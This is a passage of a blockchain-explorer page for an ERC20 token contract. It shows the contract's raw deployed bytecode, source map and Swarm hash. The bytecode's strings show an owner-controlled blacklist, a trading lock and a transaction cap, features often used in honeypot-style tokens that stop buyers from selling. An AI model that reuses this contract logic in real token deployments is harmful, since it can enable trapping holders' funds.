031215610dc457600080fd5b610dcd84610d26565b9250610ddb60208501610d26565b9150604084013590509250925092565b600060208284031215610dfd57600080fd5b610ca682610d26565b60008060408385031215610e1957600080fd5b610e2283610d26565b9150610d7c60208401610d26565b600060208284031215610e4257600080fd5b610ca682610d42565b600181811c90821680610e5f57607f821691505b602082108103610e7f57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015610ee257610ee2610eba565b500390565b6000816000190483118215151615610f0157610f01610eba565b500290565b600082610f2357634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115610f3b57610f3b610eba565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212203c9efd8670a3be0e8491524085fe8a8e06c24de85572ea42c4b13cb6041f23d564736f6c634300080e0033

Deployed Bytecode

0x60806040526004361061012a5760003560e01c806306fdde031461013657806308469e8e1461016157806308de5cb414610185578063095ea7b3146101a757806314bc2c73146101d757806318160ddd1461020f578063197bf85f146102245780631cdb82bb1461023a5780631e7620601461026e57806323b872dd1461028e578063313ce567146102ae57806340457dfe146102d0578063463809c2146102ea57806366a8a7651461030a57806370a0823114610329578063715018a614610349578063762695921461035e5780637628f802146103925780638da5cb5b146103a857806395d89b41146103bd578063961033b8146102ea5780639aaa9b63146103d2578063a9059cbb146103e8578063dd62ed3e14610408578063f275f64b1461044e57600080fd5b3661013157005b600080fd5b34801561014257600080fd5b5061014b61046e565b6040516101589190610cd1565b60405180910390f35b34801561016d57600080fd5b5061017760075481565b604051908152602001610158565b34801561019157600080fd5b506101a56101a0366004610d52565b610500565b005b3480156101b357600080fd5b506101c76101c2366004610d85565b610563565b6040519015158152602001610158565b3480156101e357600080fd5b506012546101f7906001600160a01b031681565b6040516001600160a01b039091168152602001610158565b34801561021b57600080fd5b50600f54610177565b34801561023057600080fd5b5061017760095481565b34801561024657600080fd5b506101f77f000000000000000000000000a780d88367b8e0944fec05f310326db508892c9481565b34801561027a57600080fd5b506013546101f7906001600160a01b031681565b34801561029a57600080fd5b506101c76102a9366004610daf565b610579565b3480156102ba57600080fd5b50600e5460405160ff9091168152602001610158565b3480156102dc57600080fd5b506006546101c79060ff1681565b3480156102f657600080fd5b506101a5610305366004610deb565b6105e2565b34801561031657600080fd5b506006546101c790610100900460ff1681565b34801561033557600080fd5b50610177610344366004610deb565b610614565b34801561035557600080fd5b506101a561062f565b34801561036a57600080fd5b506101f77f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b34801561039e57600080fd5b5061017760105481565b3480156103b457600080fd5b506101f76106a8565b3480156103c957600080fd5b5061014b6106b7565b3480156103de57600080fd5b5061017760085481565b3480156103f457600080fd5b506101c7610403366004610d85565b6106c6565b34801561041457600080fd5b50610177610423366004610e06565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561045a57600080fd5b506101a5610469366004610e30565b6106d3565b6060600c805461047d90610e4b565b80601f01602080910402602001604051908101604052809291908181526020018280546104a990610e4b565b80156104f65780601f106104cb576101008083540402835291602001916104f6565b820191906000526020600020905b8154815290600101906020018083116104d957829003601f168201915b5050505050905090565b336105096106a8565b6001600160a01b0316146105385760405162461bcd60e51b815260040161052f90610e85565b60405180910390fd5b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b600061057033848461071e565b50600192915050565b6000610586848484610842565b6105d884336105d385604051806060016040528060288152602001610f41602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610b01565b61071e565b5060019392505050565b336105eb6106a8565b6001600160a01b0316146106115760405162461bcd60e51b815260040161052f90610e85565b50565b6001600160a01b031660009081526001602052604090205490565b336106386106a8565b6001600160a01b03161461065e5760405162461bcd60e51b815260040161052f90610e85565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b6060600d805461047d90610e4b565b6000610570338484610842565b336106dc6106a8565b6001600160a01b0316146107025760405162461bcd60e51b815260040161052f90610e85565b60068054911515620100000262ff000019909216919091179055565b6001600160a01b0383166107805760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052f565b6001600160a01b0382166107e15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052f565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600081116108a45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052f565b6001600160a01b03831660009081526003602052604081205460ff161580156108e657506001600160a01b03831660009081526003602052604090205460ff16155b1561095257600190506010548211156109525760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b606482015260840161052f565b6001600160a01b03841660009081526004602052604090205460ff1615801561099457506001600160a01b03831660009081526004602052604090205460ff16155b6109fa5760405162461bcd60e51b815260206004820152603160248201527f596f752068617665206265656e20626c61636b6c69737465642066726f6d207460448201527072616e73666572696e6720746f6b656e7360781b606482015260840161052f565b6000610a0530610614565b90506010548110610a1557506010545b610a2185858585610b2d565b836001600160a01b0316856001600160a01b0316600080516020610f6983398151915285604051610a5491815260200190565b60405180910390a360065462010000900460ff16610afa57610a746106a8565b6001600160a01b0316856001600160a01b031614610afa5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161052f565b5050505050565b60008184841115610b255760405162461bcd60e51b815260040161052f9190610cd1565b505050900390565b610b3984848484610b3f565b50505050565b60008115610b6057610b5d6064610b57856001610c9a565b90610cad565b90505b6000610b6c8285610ed0565b6001600160a01b038616600090815260016020526040902054909150610b929082610cb9565b6001600160a01b038616600090815260016020526040812082905590610bb89083610cb9565b6001600160a01b038816600090815260016020526040902054909150610bde9083610cc5565b6001600160a01b038816600090815260016020908152604080832093909355600390529081205460ff168015610c2c57506001600160a01b03871660009081526003602052604090205460ff165b90508015610c54576001600160a01b0387166000908152600160205260409020829055610c90565b866001600160a01b0316886001600160a01b0316600080516020610f6983398151915285604051610c8791815260200190565b60405180910390a35b5050505050505050565b6000610ca68284610ee7565b9392505050565b6000610ca68284610f06565b6000610ca68284610f28565b6000610ca68284610ed0565b600060208083528351808285015260005b81811015610cfe57858101830151858201604001528201610ce2565b81811115610d10576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610d3d57600080fd5b919050565b80358015158114610d3d57600080fd5b60008060408385031215610d6557600080fd5b610d6e83610d26565b9150610d7c60208401610d42565b90509250929050565b60008060408385031215610d9857600080fd5b610da183610d26565b946020939093013593505050565b600080600060608486031215610dc457600080fd5b610dcd84610d26565b9250610ddb60208501610d26565b9150604084013590509250925092565b600060208284031215610dfd57600080fd5b610ca682610d26565b60008060408385031215610e1957600080fd5b610e2283610d26565b9150610d7c60208401610d26565b600060208284031215610e4257600080fd5b610ca682610d42565b600181811c90821680610e5f57607f821691505b602082108103610e7f57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015610ee257610ee2610eba565b500390565b6000816000190483118215151615610f0157610f01610eba565b500290565b600082610f2357634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115610f3b57610f3b610eba565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212203c9efd8670a3be0e8491524085fe8a8e06c24de85572ea42c4b13cb6041f23d564736f6c634300080e0033

Deployed Bytecode Sourcemap

9514:8806:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11140:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9987:32;;;;;;;;;;;;;;;;;;;762:25:1;;;750:2;735:18;9987:32:0;616:177:1;15920:176:0;;;;;;;;;;-1:-1:-1;15920:176:0;;;;;:::i;:::-;;:::i;:::-;;12047:173;;;;;;;;;;-1:-1:-1;12047:173:0;;;;;:::i;:::-;;:::i;:::-;;;1824:14:1;;1817:22;1799:41;;1787:2;1772:18;12047:173:0;1659:187:1;17229:30:0;;;;;;;;;;-1:-1:-1;17229:30:0;;;;-1:-1:-1;;;;;17229:30:0;;;;;;-1:-1:-1;;;;;2015:32:1;;;1997:51;;1985:2;1970:18;17229:30:0;1851:203:1;11447:112:0;;;;;;;;;;-1:-1:-1;11539:12:0;;11447:112;;10061:32;;;;;;;;;;;;;;;;17300:34;;;;;;;;;;;;;;;17266:27;;;;;;;;;;-1:-1:-1;17266:27:0;;;;-1:-1:-1;;;;;17266:27:0;;;12226:329;;;;;;;;;;-1:-1:-1;12226:329:0;;;;;:::i;:::-;;:::i;11346:95::-;;;;;;;;;;-1:-1:-1;11424:9:0;;11346:95;;11424:9;;;;2534:36:1;;2522:2;2507:18;11346:95:0;2392:184:1;9866:37:0;;;;;;;;;;-1:-1:-1;9866:37:0;;;;;;;;16483:105;;;;;;;;;;-1:-1:-1;16483:105:0;;;;;:::i;:::-;;:::i;9911:32::-;;;;;;;;;;-1:-1:-1;9911:32:0;;;;;;;;;;;11565:129;;;;;;;;;;-1:-1:-1;11565:129:0;;;;;:::i;:::-;;:::i;9316:172::-;;;;;;;;;;;;;:::i;17378:40::-;;;;;;;;;;;;;;;10435:54;;;;;;;;;;;;;;;;9072:100;;;;;;;;;;;;;:::i;11241:99::-;;;;;;;;;;;;;:::i;10021:33::-;;;;;;;;;;;;;;;;11700:180;;;;;;;;;;-1:-1:-1;11700:180:0;;;;;:::i;:::-;;:::i;11886:155::-;;;;;;;;;;-1:-1:-1;11886:155:0;;;;;:::i;:::-;-1:-1:-1;;;;;12006:18:0;;;11979:7;12006:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;11886:155;16878:115;;;;;;;;;;-1:-1:-1;16878:115:0;;;;;:::i;:::-;;:::i;11140:95::-;11189:13;11222:5;11215:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11140:95;:::o;15920:176::-;2138:10;9218:7;:5;:7::i;:::-;-1:-1:-1;;;;;9218:33:0;;9210:88;;;;-1:-1:-1;;;9210:88:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;16033:30:0;;;::::1;;::::0;;;:15:::1;:30;::::0;;;;:55;;-1:-1:-1;;16033:55:0::1;::::0;::::1;;::::0;;;::::1;::::0;;15920:176::o;12047:173::-;12134:4;12151:39;2138:10;12174:7;12183:6;12151:8;:39::i;:::-;-1:-1:-1;12208:4:0;12047:173;;;;:::o;12226:329::-;12342:4;12356:36;12366:6;12374:9;12385:6;12356:9;:36::i;:::-;12403:131;12412:6;2138:10;12434:99;12472:6;12434:99;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;12434:19:0;;;;;;:11;:19;;;;;;;;2138:10;12434:33;;;;;;;;;;:37;:99::i;:::-;12403:8;:131::i;:::-;-1:-1:-1;12543:4:0;12226:329;;;;;:::o;16483:105::-;2138:10;9218:7;:5;:7::i;:::-;-1:-1:-1;;;;;9218:33:0;;9210:88;;;;-1:-1:-1;;;9210:88:0;;;;;;;:::i;:::-;16483:105;:::o;11565:129::-;-1:-1:-1;;;;;11670:16:0;11643:7;11670:16;;;:7;:16;;;;;;;11565:129::o;9316:172::-;2138:10;9218:7;:5;:7::i;:::-;-1:-1:-1;;;;;9218:33:0;;9210:88;;;;-1:-1:-1;;;9210:88:0;;;;;;;:::i;:::-;9436:1:::1;9420:6:::0;;9399:40:::1;::::0;-1:-1:-1;;;;;9420:6:0;;::::1;::::0;9399:40:::1;::::0;9436:1;;9399:40:::1;9477:1;9450:29:::0;;-1:-1:-1;;;;;;9450:29:0::1;::::0;;9316:172::o;9072:100::-;9130:7;9157:6;-1:-1:-1;;;;;9157:6:0;;9072:100::o;11241:99::-;11292:13;11325:7;11318:14;;;;;:::i;11700:180::-;11790:4;11807:52;2138:10;11841:9;11852:6;11807:9;:52::i;16878:115::-;2138:10;9218:7;:5;:7::i;:::-;-1:-1:-1;;;;;9218:33:0;;9210:88;;;;-1:-1:-1;;;9210:88:0;;;;;;;:::i;:::-;16953:14:::1;:32:::0;;;::::1;;::::0;::::1;-1:-1:-1::0;;16953:32:0;;::::1;::::0;;;::::1;::::0;;16878:115::o;16106:368::-;-1:-1:-1;;;;;16210:19:0;;16202:78;;;;-1:-1:-1;;;16202:78:0;;4400:2:1;16202:78:0;;;4382:21:1;4439:2;4419:18;;;4412:30;4478:34;4458:18;;;4451:62;-1:-1:-1;;;4529:18:1;;;4522:34;4573:19;;16202:78:0;4198:400:1;16202:78:0;-1:-1:-1;;;;;16299:21:0;;16291:78;;;;-1:-1:-1;;;16291:78:0;;4805:2:1;16291:78:0;;;4787:21:1;4844:2;4824:18;;;4817:30;4883:34;4863:18;;;4856:62;-1:-1:-1;;;4934:18:1;;;4927:32;4976:19;;16291:78:0;4603:398:1;16291:78:0;-1:-1:-1;;;;;16380:28:0;;;;;;;:11;:28;;;;;;;;:37;;;;;;;;;;;;;:46;;;16433:33;;762:25:1;;;16433:33:0;;735:18:1;16433:33:0;;;;;;;16106:368;;;:::o;12564:1015::-;12662:1;12653:6;:10;12645:74;;;;-1:-1:-1;;;12645:74:0;;5208:2:1;12645:74:0;;;5190:21:1;5247:2;5227:18;;;5220:30;5286:34;5266:18;;;5259:62;-1:-1:-1;;;5337:18:1;;;5330:39;5386:19;;12645:74:0;5006:405:1;12645:74:0;-1:-1:-1;;;;;12765:21:0;;12721:20;12765:21;;;:15;:21;;;;;;;;12764:22;:56;;;;-1:-1:-1;;;;;;12801:19:0;;;;;;:15;:19;;;;;;;;12800:20;12764:56;12761:210;;;12855:4;12837:22;;12900:13;;12880:6;:33;;12872:96;;;;-1:-1:-1;;;12872:96:0;;5618:2:1;12872:96:0;;;5600:21:1;5657:2;5637:18;;;5630:30;5696:34;5676:18;;;5669:62;-1:-1:-1;;;5747:18:1;;;5740:38;5795:19;;12872:96:0;5416:404:1;12872:96:0;-1:-1:-1;;;;;12990:21:0;;;;;;:15;:21;;;;;;;;12989:22;:56;;;;-1:-1:-1;;;;;;13026:19:0;;;;;;:15;:19;;;;;;;;13025:20;12989:56;12981:128;;;;-1:-1:-1;;;12981:128:0;;6027:2:1;12981:128:0;;;6009:21:1;6066:2;6046:18;;;6039:30;6105:34;6085:18;;;6078:62;-1:-1:-1;;;6156:18:1;;;6149:47;6213:19;;12981:128:0;5825:413:1;12981:128:0;13122:25;13150:38;13182:4;13150:9;:38::i;:::-;13122:66;;13238:13;;13207:17;:44;13204:107;;-1:-1:-1;13285:13:0;;13204:107;13312:65;13346:4;13351:2;13354:6;13361:15;13312:19;:65::i;:::-;13413:2;-1:-1:-1;;;;;13398:26:0;13407:4;-1:-1:-1;;;;;13398:26:0;-1:-1:-1;;;;;;;;;;;13417:6:0;13398:26;;;;762:25:1;;750:2;735:18;;616:177;13398:26:0;;;;;;;;13445:14;;;;;;;13440:132;;13493:7;:5;:7::i;:::-;-1:-1:-1;;;;;13471:29:0;:4;-1:-1:-1;;;;;13471:29:0;;13462:107;;;;-1:-1:-1;;;13462:107:0;;6445:2:1;13462:107:0;;;6427:21:1;6484:2;6464:18;;;6457:30;6523:34;6503:18;;;6496:62;6594:33;6574:18;;;6567:61;6645:19;;13462:107:0;6243:427:1;13462:107:0;12643:936;;12564:1015;;;:::o;4642:175::-;4740:7;4785:12;4777:6;;;;4769:29;;;;-1:-1:-1;;;4769:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;4807:5:0;;;4642:175::o;17005:217::-;17140:74;17171:6;17179:9;17190:6;17198:15;17140:20;:74::i;:::-;17005:217;;;;:::o;14413:872::-;14556:23;14595:15;14591:85;;;14637:29;14662:3;14637:20;:13;14655:1;14637:17;:20::i;:::-;:24;;:29::i;:::-;14613:53;;14591:85;14677:25;14705:41;14731:15;14705:13;:41;:::i;:::-;-1:-1:-1;;;;;14789:18:0;;;;;;:7;:18;;;;;;14677:69;;-1:-1:-1;14789:41:0;;14677:69;14789:22;:41::i;:::-;-1:-1:-1;;;;;14758:18:0;;;;;;:7;:18;;;;;:72;;;:18;14875:51;;14908:17;14875:32;:51::i;:::-;-1:-1:-1;;;;;14956:25:0;;;;;;:7;:25;;;;;;14844:82;;-1:-1:-1;14956:48:0;;14986:17;14956:29;:48::i;:::-;-1:-1:-1;;;;;14928:15:0;;;;;;:7;:15;;;;;;;;:76;;;;15049:15;:23;;;;;;;;:63;;;;-1:-1:-1;;;;;;15086:26:0;;;;;;:15;:26;;;;;;;;15049:63;15016:96;;15128:15;15124:159;;;-1:-1:-1;;;;;15147:18:0;;;;;;:7;:18;;;;;:41;;;15124:159;;;15245:9;-1:-1:-1;;;;;15213:61:0;15237:6;-1:-1:-1;;;;;15213:61:0;-1:-1:-1;;;;;;;;;;;15256:17:0;15213:61;;;;762:25:1;;750:2;735:18;;616:177;15213:61:0;;;;;;;;15124:159;14554:731;;;;14413:872;;;;:::o;4333:95::-;4397:7;4415:5;4419:1;4415;:5;:::i;:::-;4408:12;4333:95;-1:-1:-1;;;4333:95:0:o;4434:::-;4498:7;4516:5;4520:1;4516;:5;:::i;4131:95::-;4195:7;4213:5;4217:1;4213;:5;:::i;4232:95::-;4296:7;4314:5;4318:1;4314;:5;:::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;798:173::-;866:20;;-1:-1:-1;;;;;915:31:1;;905:42;;895:70;;961:1;958;951:12;895:70;798:173;;;:::o;976:160::-;1041:20;;1097:13;;1090:21;1080:32;;1070:60;;1126:1;1123;1116:12;1141:254;1206:6;1214;1267:2;1255:9;1246:7;1242:23;1238:32;1235:52;;;1283:1;1280;1273:12;1235:52;1306:29;1325:9;1306:29;:::i;:::-;1296:39;;1354:35;1385:2;1374:9;1370:18;1354:35;:::i;:::-;1344:45;;1141:254;;;;;:::o;1400:::-;1468:6;1476;1529:2;1517:9;1508:7;1504:23;1500:32;1497:52;;;1545:1;1542;1535:12;1497:52;1568:29;1587:9;1568:29;:::i;:::-;1558:39;1644:2;1629:18;;;;1616:32;;-1:-1:-1;;;1400:254:1:o;2059:328::-;2136:6;2144;2152;2205:2;2193:9;2184:7;2180:23;2176:32;2173:52;;;2221:1;2218;2211:12;2173:52;2244:29;2263:9;2244:29;:::i;:::-;2234:39;;2292:38;2326:2;2315:9;2311:18;2292:38;:::i;:::-;2282:48;;2377:2;2366:9;2362:18;2349:32;2339:42;;2059:328;;;;;:::o;2581:186::-;2640:6;2693:2;2681:9;2672:7;2668:23;2664:32;2661:52;;;2709:1;2706;2699:12;2661:52;2732:29;2751:9;2732:29;:::i;3002:260::-;3070:6;3078;3131:2;3119:9;3110:7;3106:23;3102:32;3099:52;;;3147:1;3144;3137:12;3099:52;3170:29;3189:9;3170:29;:::i;:::-;3160:39;;3218:38;3252:2;3241:9;3237:18;3218:38;:::i;3267:180::-;3323:6;3376:2;3364:9;3355:7;3351:23;3347:32;3344:52;;;3392:1;3389;3382:12;3344:52;3415:26;3431:9;3415:26;:::i;3452:380::-;3531:1;3527:12;;;;3574;;;3595:61;;3649:4;3641:6;3637:17;3627:27;;3595:61;3702:2;3694:6;3691:14;3671:18;3668:38;3665:161;;3748:10;3743:3;3739:20;3736:1;3729:31;3783:4;3780:1;3773:15;3811:4;3808:1;3801:15;3665:161;;3452:380;;;:::o;3837:356::-;4039:2;4021:21;;;4058:18;;;4051:30;4117:34;4112:2;4097:18;;4090:62;4184:2;4169:18;;3837:356::o;6675:127::-;6736:10;6731:3;6727:20;6724:1;6717:31;6767:4;6764:1;6757:15;6791:4;6788:1;6781:15;6807:125;6847:4;6875:1;6872;6869:8;6866:34;;;6880:18;;:::i;:::-;-1:-1:-1;6917:9:1;;6807:125::o;6937:168::-;6977:7;7043:1;7039;7035:6;7031:14;7028:1;7025:21;7020:1;7013:9;7006:17;7002:45;6999:71;;;7050:18;;:::i;:::-;-1:-1:-1;7090:9:1;;6937:168::o;7110:217::-;7150:1;7176;7166:132;;7220:10;7215:3;7211:20;7208:1;7201:31;7255:4;7252:1;7245:15;7283:4;7280:1;7273:15;7166:132;-1:-1:-1;7312:9:1;;7110:217::o;7332:128::-;7372:3;7403:1;7399:6;7396:1;7393:13;7390:39;;;7409:18;;:::i;:::-;-1:-1:-1;7445:9:1;;7332:128::o

Swarm Source

ipfs://3c9efd8670a3be0e8491524085fe8a8e06c24de85572ea42c4b13cb6041f23d5
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.